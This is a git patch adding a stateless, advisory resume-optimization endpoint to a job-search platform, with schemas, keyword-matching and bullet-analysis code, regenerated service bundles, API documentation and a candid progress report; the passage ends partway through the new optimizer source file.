From a0126d98ca7e212a516fc9f45ead86dd9ca0b79a Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 11:29:14 +0000 Subject: [PATCH 01/91] feat(profile): add job-aware resume optimization advice Adds the missing resume-optimization step from the primary flow (docs/01 step 5) as the smallest safe version: deterministic, advisory, and stateless. - @atlas/ai: analyzeResumeForJob compares a parsed resume with one job's keywords (explicit skills plus vocabulary terms in title/description), flags weak bullets (duty-style openers, no measurable result, too short/long), and folds in the resume-level ATS hints. It never writes resume text or asserts a skill/metric the candidate did not state. - @atlas/ai: expose containsKeyword so non-vocabulary job skills get the same boundary-aware match as extractSkillKeywords (now built on it). - @atlas/types: report schema and optimize request/response contracts. - profile-service: POST /v1/resumes/:id/optimize. Owner-scoped (404 for other users' resumes), 409 for unparsed resumes, 404 for unknown jobs, 400 on malformed ids/bodies. Reads jobs read-only, as applications-service and matching-service already do. - docs: document the endpoint (docs/04) and add docs/15 progress report with the verified baseline and known gaps. - api/: regenerate committed bundles (profile gains the route; the rest gain only the new shared schemas; jobs picks up the skills refactor). Verified: typecheck and lint clean; 183 tests pass (18 new) with the DB-backed suites run against Postgres 16 + pgvector. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- api/analytics/index.js | 31 +++ api/applications/index.js | 31 +++ api/auth/index.js | 31 +++ api/jobs/index.js | 41 ++- api/learning/index.js | 31 +++ api/matching/index.js | 31 +++ api/outreach/index.js | 31 +++ api/profile/index.js | 196 ++++++++++++- api/referrals/index.js | 31 +++ docs/04_api_design.md | 23 ++ docs/15_progress.md | 41 +++ packages/ai/src/index.ts | 1 + packages/ai/src/resume-optimizer.ts | 173 ++++++++++++ packages/ai/src/skills.ts | 20 +- packages/ai/test/resume-optimizer.test.ts | 148 ++++++++++ packages/types/src/api.ts | 16 +- packages/types/src/profile.ts | 38 +++ services/profile/src/app.ts | 2 + .../src/http/routes/optimize-resume.ts | 45 +++ services/profile/src/repo/jobs.ts | 22 ++ services/profile/test/optimize-flow.test.ts | 260 ++++++++++++++++++ 21 files changed, 1218 insertions(+), 25 deletions(-) create mode 100644 docs/15_progress.md create mode 100644 packages/ai/src/resume-optimizer.ts create mode 100644 packages/ai/test/resume-optimizer.test.ts create mode 100644 services/profile/src/http/routes/optimize-resume.ts create mode 100644 services/profile/src/repo/jobs.ts create mode 100644 services/profile/test/optimize-flow.test.ts diff --git a/api/analytics/index.js b/api/analytics/index.js index 27849da..d9df51e 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -69445,6 +69445,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -69687,6 +69710,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), diff --git a/api/applications/index.js b/api/applications/index.js index e633957..4966c1c 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -69468,6 +69468,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -69713,6 +69736,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), diff --git a/api/auth/index.js b/api/auth/index.js index c04ba0e..afb79d0 100644 --- a/api/auth/index.js +++ b/api/auth/index.js @@ -61517,6 +61517,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -61753,6 +61776,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), diff --git a/api/jobs/index.js b/api/jobs/index.js index b688baf..0db8407 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -69470,6 +69470,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -69715,6 +69738,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), @@ -80071,12 +80102,12 @@ var CANONICAL_SKILLS = [ "accounting", "bookkeeping" ]; +function containsKeyword(text2, keyword) { + const escaped = keyword.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return new RegExp(`(? { - const escaped = keyword.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); - return new RegExp(`(? containsKeyword(text2, keyword)); } // services/jobs/src/lib/normalize.ts diff --git a/api/learning/index.js b/api/learning/index.js index e5f72e0..3230296 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -69449,6 +69449,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -69694,6 +69717,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), diff --git a/api/matching/index.js b/api/matching/index.js index 38cfb01..3694ea6 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -77749,6 +77749,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -77994,6 +78017,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), diff --git a/api/outreach/index.js b/api/outreach/index.js index aafad8a..22adea4 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -69468,6 +69468,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -69713,6 +69736,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), diff --git a/api/profile/index.js b/api/profile/index.js index e6016bc..178fb74 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -22546,7 +22546,7 @@ var require_validation = __commonJS({ "use strict"; var { kSchemaHeaders: headersSchema, - kSchemaParams: paramsSchema, + kSchemaParams: paramsSchema2, kSchemaQuerystring: querystringSchema, kSchemaBody: bodySchema, kSchemaResponse: responseSchema @@ -22762,7 +22762,7 @@ var require_validation = __commonJS({ FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema2] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -22802,11 +22802,11 @@ var require_validation = __commonJS({ } function validate(context2, request, execution) { const runExecution = execution === void 0; - if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { + if (runExecution && context2[paramsSchema2] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; } if (runExecution || !execution.skipParams) { - const params = validateParam(context2[paramsSchema], request, "params"); + const params = validateParam(context2[paramsSchema2], request, "params"); if (params) { if (typeof params.then !== "function") { return wrapValidationError(params, "params", context2.schemaErrorFormatter); @@ -22901,7 +22901,7 @@ var require_validation = __commonJS({ return error51; } module2.exports = { - symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, + symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema2, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, validate @@ -103540,6 +103540,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -103785,6 +103808,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), @@ -114283,12 +114314,123 @@ var CANONICAL_SKILLS = [ "accounting", "bookkeeping" ]; +function containsKeyword(text2, keyword) { + const escaped = keyword.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return new RegExp(`(? { - const escaped = keyword.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); - return new RegExp(`(? containsKeyword(text2, keyword)); +} + +// packages/ai/src/resume-optimizer.ts +var TRUTHFULNESS_NOTE = "These suggestions are advisory. Atlas never adds skills, employers, or numbers to your resume for you \u2014 only include a keyword or metric if it is true."; +var MAX_BULLET_FINDINGS = 20; +var MAX_RECOMMENDATIONS = 10; +var MAX_KEYWORDS_IN_RECOMMENDATION = 5; +var MAX_ATS_HINTS = 3; +var MIN_BULLET_CHARS = 25; +var MAX_BULLET_CHARS = 220; +var HAS_DIGIT_OR_PERCENT2 = /\d|%/; +var WEAK_OPENING = /^(?:i|responsible for|duties (?:included|include)|worked on|worked with|helped|helping|assisted|assisting|tasked with|involved in|in charge of|participated in)\b/i; +var EXAMPLE_VERBS = "Built, Led, Reduced, Launched"; +function normalizeTerm(term) { + return term.trim().toLowerCase(); +} +function collectJobKeywords(target) { + const keywords = /* @__PURE__ */ new Set(); + for (const skill of target.skills) { + const term = normalizeTerm(skill); + if (term.length > 0) keywords.add(term); + } + for (const keyword of extractSkillKeywords(`${target.title} +${target.description ?? ""}`)) { + keywords.add(keyword); + } + return [...keywords]; +} +function analyzeBullet(bullet) { + const issues = []; + const suggestions = []; + const weakOpening = bullet.match(WEAK_OPENING); + if (weakOpening) { + issues.push("weak_opening"); + suggestions.push( + `Open with a strong action verb (for example: ${EXAMPLE_VERBS}) instead of "${weakOpening[0]}" \u2014 lead with what you did.` + ); + } + if (!HAS_DIGIT_OR_PERCENT2.test(bullet)) { + issues.push("no_metric"); + suggestions.push( + "Add a measurable result (scale, percentage, time or cost saved) if you can back it up \u2014 without inventing one." + ); + } + if (bullet.length < MIN_BULLET_CHARS) { + issues.push("too_short"); + suggestions.push("Say what you did and what came of it \u2014 a bullet this brief gives recruiters and ATS little to match."); + } else if (bullet.length > MAX_BULLET_CHARS) { + issues.push("too_long"); + suggestions.push("Trim this or split it into two bullets \u2014 long bullets are hard to scan."); + } + return { issues, suggestions }; +} +function collectBulletFindings(profile) { + const findings = []; + for (const entry of profile.experience) { + entry.highlights.forEach((bullet, bulletIndex) => { + const { issues, suggestions } = analyzeBullet(bullet); + if (issues.length > 0) { + findings.push({ company: entry.company, title: entry.title, bullet_index: bulletIndex, bullet, issues, suggestions }); + } + }); + } + return findings.sort((a, b2) => b2.issues.length - a.issues.length); +} +function buildRecommendations(missing, atsHints, allFindings, keywordScore) { + const recommendations = []; + if (missing.length > 0) { + const shown = missing.slice(0, MAX_KEYWORDS_IN_RECOMMENDATION).join(", "); + recommendations.push( + `This posting mentions ${shown}, which your resume doesn't. If you genuinely have that experience, work it into a relevant bullet or your skills section.` + ); + } + const missingMetric = allFindings.filter((f) => f.issues.includes("no_metric")).length; + if (missingMetric > 0) { + recommendations.push(`${missingMetric} bullet(s) have no measurable result \u2014 quantify the ones you can substantiate.`); + } + const weakOpenings = allFindings.filter((f) => f.issues.includes("weak_opening")).length; + if (weakOpenings > 0) { + recommendations.push(`${weakOpenings} bullet(s) open with a duty ("responsible for\u2026") rather than an action verb.`); + } + recommendations.push(...atsHints); + if (recommendations.length === 0) { + recommendations.push( + keywordScore === null ? "This posting lists no recognizable keywords, so there is nothing to tailor against \u2014 your resume reads cleanly." : "Your resume already covers what this posting asks for and reads cleanly." + ); + } + return recommendations.slice(0, MAX_RECOMMENDATIONS); +} +function analyzeResumeForJob(profile, rawText, target) { + const profileTerms = /* @__PURE__ */ new Set([ + ...profile.skills.map((skill) => normalizeTerm(skill.name)), + ...profile.keywords.map(normalizeTerm) + ]); + const jobKeywords = collectJobKeywords(target); + const matched = []; + const missing = []; + for (const keyword of jobKeywords) { + (profileTerms.has(keyword) || containsKeyword(rawText, keyword) ? matched : missing).push(keyword); + } + const keywordScore = jobKeywords.length === 0 ? null : Math.round(100 * matched.length / jobKeywords.length); + const ats = scoreResume(profile, rawText); + const failedHints = ats.checks.filter((check2) => !check2.passed).sort((a, b2) => b2.weight - a.weight).slice(0, MAX_ATS_HINTS).map((check2) => check2.hint); + const allFindings = collectBulletFindings(profile); + return { + keyword_match: { score: keywordScore, matched, missing }, + bullet_findings: allFindings.slice(0, MAX_BULLET_FINDINGS), + ats, + recommendations: buildRecommendations(missing, failedHints, allFindings, keywordScore), + truthfulness_note: TRUTHFULNESS_NOTE + }; } // packages/ai/src/resume-parser.ts @@ -114476,6 +114618,39 @@ function parseResumeText(rawText) { }; } +// services/profile/src/repo/jobs.ts +async function findOptimizationTarget(db, jobId) { + const [row] = await db.select({ title: schema_exports.jobs.title, description: schema_exports.jobs.description, skills: schema_exports.jobs.skills }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); + return row ?? null; +} + +// services/profile/src/http/routes/optimize-resume.ts +var paramsSchema = external_exports.object({ id: uuidSchema }); +function optimizeResumeRoute(app, deps) { + app.post("/v1/resumes/:id/optimize", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + const actor = getActor(request); + const { id } = paramsSchema.parse(request.params); + const body = optimizeResumeRequestSchema.parse(request.body); + const resume = await findById(deps.db, id); + if (!resume || resume.userId !== actor.user_id) { + throw new AppError("RESUME_NOT_FOUND", "Resume not found"); + } + if (resume.status !== "parsed" || !resume.parsedProfile || resume.parsedText === null) { + throw new AppError("CONFLICT", "Resume has not been parsed successfully, so it cannot be optimized yet"); + } + const target = await findOptimizationTarget(deps.db, body.job_id); + if (!target) { + throw new AppError("JOB_NOT_FOUND", "Job is unavailable"); + } + const response = { + resume_id: resume.resumeId, + job_id: body.job_id, + report: analyzeResumeForJob(resume.parsedProfile, resume.parsedText, target) + }; + reply.status(200).send(response); + }); +} + // services/profile/src/lib/extract-text.ts var import_mammoth = __toESM(require_lib7(), 1); @@ -146640,6 +146815,7 @@ function buildApp(deps) { uploadResumeRoute(app, deps); getResumeRoute(app, deps); listResumesRoute(app, deps); + optimizeResumeRoute(app, deps); return app; } diff --git a/api/referrals/index.js b/api/referrals/index.js index 250408e..9a39989 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -69467,6 +69467,29 @@ var atsReportSchema = external_exports.object({ }) ) }); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); // packages/types/src/job.ts var companySchema = external_exports.object({ @@ -69712,6 +69735,14 @@ var createResumeResponseSchema = external_exports.object({ var resumeResponseSchema = external_exports.object({ resume: resumeSchema }); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ user_id: uuidSchema, location: external_exports.string().max(200).optional(), diff --git a/docs/04_api_design.md b/docs/04_api_design.md index e85d902..cc61211 100644 --- a/docs/04_api_design.md +++ b/docs/04_api_design.md @@ -14,6 +14,29 @@ Response: { "resume_id": "uuid", "status": "parsed" } ``` +### POST /v1/resumes/{resume_id}/optimize +Request: +```json +{ "job_id": "uuid" } +``` + +Response: +```json +{ + "resume_id": "uuid", + "job_id": "uuid", + "report": { + "keyword_match": { "score": 67, "matched": ["typescript"], "missing": ["kubernetes"] }, + "bullet_findings": [], + "ats": { "score": 85, "checks": [] }, + "recommendations": [], + "truthfulness_note": "..." + } +} +``` + +Advisory and stateless: it compares a parsed resume with one job and stores nothing. It never rewrites the resume or adds a skill or metric the candidate did not state. Returns `409 CONFLICT` if the resume has not parsed, and `404` for an unknown job or a resume the caller does not own. + ### GET /v1/jobs/recommendations Query params: - user_id diff --git a/docs/15_progress.md b/docs/15_progress.md new file mode 100644 index 0000000..50384d0 --- /dev/null +++ b/docs/15_progress.md @@ -0,0 +1,41 @@ +# 15. Progress Report + +Status of Project Atlas against `CLAUDE.md` priorities and `docs/11`–`12`. +Verified 2026-10-27 by running the checks below, not by reading commit messages. + +## Verified baseline + +- `pnpm typecheck`, `pnpm lint`: clean. +- `pnpm test` with `ATLAS_TEST_DATABASE_URL` set: 28 files, 183 tests pass. +- Without that variable the DB-backed suites self-skip (9 files, 51 tests before this change), and CI does not set it, so **CI does not exercise them**. +- To run them locally: Postgres 16 with `vector`, `pgcrypto`, `pg_trgm`, a stand-in `auth.users` table, `pnpm db:migrate`, then `packages/db/supabase/auth-hooks.sql`. + +## By priority (`CLAUDE.md`) + +| # | Priority | State | +|---|----------|-------| +| 1 | Architecture and repo structure | Done. pnpm/turbo monorepo, 14 docs, CI. | +| 2 | Schema and service boundaries | Done. 18 tables, 3 migrations. | +| 3 | Auth, profile ingestion, job discovery | Done. auth, profile (upload, parse, ATS score), jobs (ingest, dedupe, recommendations). | +| 4 | Matching, resume optimization, applications, referrals, outreach | Done as heuristic MVPs. Resume optimization is `POST /v1/resumes/{id}/optimize` (advisory, stateless). No LLM is wired anywhere; no model API key is configured. | +| 5 | University and enterprise administration | **Not started.** `organizations`, `organization_members`, `students` tables exist; there is no `admin-service` (docs/08). `apps/admin` is a UI over auth, applications, analytics and learning only. | +| 6 | Observability, security hardening, deployment | Partial. Prometheus metrics and Vercel bundles exist. See gaps. | + +## Known gaps + +- **Not in code at all:** GraphQL, WebSocket, Kafka, Redis client, OpenTelemetry (docs/01, 04, 14 describe them). +- **Rate limiting** uses Fastify's default in-memory store, so limits are per instance, not shared. Needs a shared store before it means much on serverless. +- **`connectors-service`** is built and tested but is not in `scripts/bundle-backend.mjs` or `vercel.json`, so it is not deployed. `apps/web` connectors page is a placeholder. +- **CI** runs no DB-backed tests (no Postgres service in the workflow). +- **Application agent** (form filling, submission) is not implemented; `applications-service` tracks lifecycle only. +- Several web dashboard pages render `UnderConstruction`. + +## Deploy note + +`api/*/index.js` are committed esbuild bundles. Re-run `node scripts/bundle-backend.mjs` and commit the result whenever a service or a `packages/*` dependency changes. + +## Suggested next steps + +1. Add a Postgres service to CI so the DB-backed suites run (cheapest large gain in confidence). +2. `admin-service` for university/enterprise (priority 5), starting with org-scoped read endpoints over `students` and applications. +3. Shared-store rate limiting and the missing observability pieces (priority 6). diff --git a/packages/ai/src/index.ts b/packages/ai/src/index.ts index 8a10649..9d98f7f 100644 --- a/packages/ai/src/index.ts +++ b/packages/ai/src/index.ts @@ -1,3 +1,4 @@ export * from './ats-scorer.js'; +export * from './resume-optimizer.js'; export * from './resume-parser.js'; export * from './skills.js'; diff --git a/packages/ai/src/resume-optimizer.ts b/packages/ai/src/resume-optimizer.ts new file mode 100644 index 0000000..a1167b6 --- /dev/null +++ b/packages/ai/src/resume-optimizer.ts @@ -0,0 +1,173 @@ +import type { BulletFinding, BulletIssue, ParsedProfile, ResumeOptimizationReport } from '@atlas/types'; +import { scoreResume } from './ats-scorer.js'; +import { containsKeyword, extractSkillKeywords } from './skills.js'; + +/** The slice of a job posting the optimizer reads. */ +export interface OptimizationTarget { + title: string; + description: string | null; + skills: string[]; +} + +export const TRUTHFULNESS_NOTE = + 'These suggestions are advisory. Atlas never adds skills, employers, or numbers to your resume for you — only include a keyword or metric if it is true.'; + +/** Findings/recommendations stay short — they're for display, not audit. */ +const MAX_BULLET_FINDINGS = 20; +const MAX_RECOMMENDATIONS = 10; +const MAX_KEYWORDS_IN_RECOMMENDATION = 5; +const MAX_ATS_HINTS = 3; + +const MIN_BULLET_CHARS = 25; +const MAX_BULLET_CHARS = 220; + +const HAS_DIGIT_OR_PERCENT = /\d|%/; + +/** + * Openers that describe a duty rather than an outcome. First person is + * included because "I managed…" reads as informal on a resume. + */ +const 